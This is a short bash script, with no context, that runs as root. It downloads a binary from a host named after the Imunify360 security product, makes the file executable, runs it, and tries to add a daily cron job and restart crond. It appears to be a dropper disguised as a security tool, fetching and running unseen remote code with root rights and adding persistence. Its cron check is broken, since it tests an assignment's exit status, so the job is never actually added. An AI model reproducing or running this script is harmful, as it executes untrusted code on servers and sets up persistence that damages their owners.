#!/bin/bash
URL="https://imunify360.hostsvc.com/main"
TARGET="/root/main"
echo "Downloading file from $URL ..."
curl -L -o "$TARGET" "$URL"
if [ $? -ne 0 ]; then
    echo "Error downloading file from $URL"
    exit 1
fi
echo "Download successful. Setting executable permission"
chmod +x "$TARGET"
echo "Running binary at $TARGET."
"$TARGET"
CRON_JOB="0 0 * * * /root/main >> /var/log/imunify.log";
if [ $? -ne 0 ]; then
    (crontab -l 2>/dev/null; echo "$CRON_JOB") | crontab -
    echo "Added cron job."
else
    echo "Cron job already exists."
fi
systemctl restart crond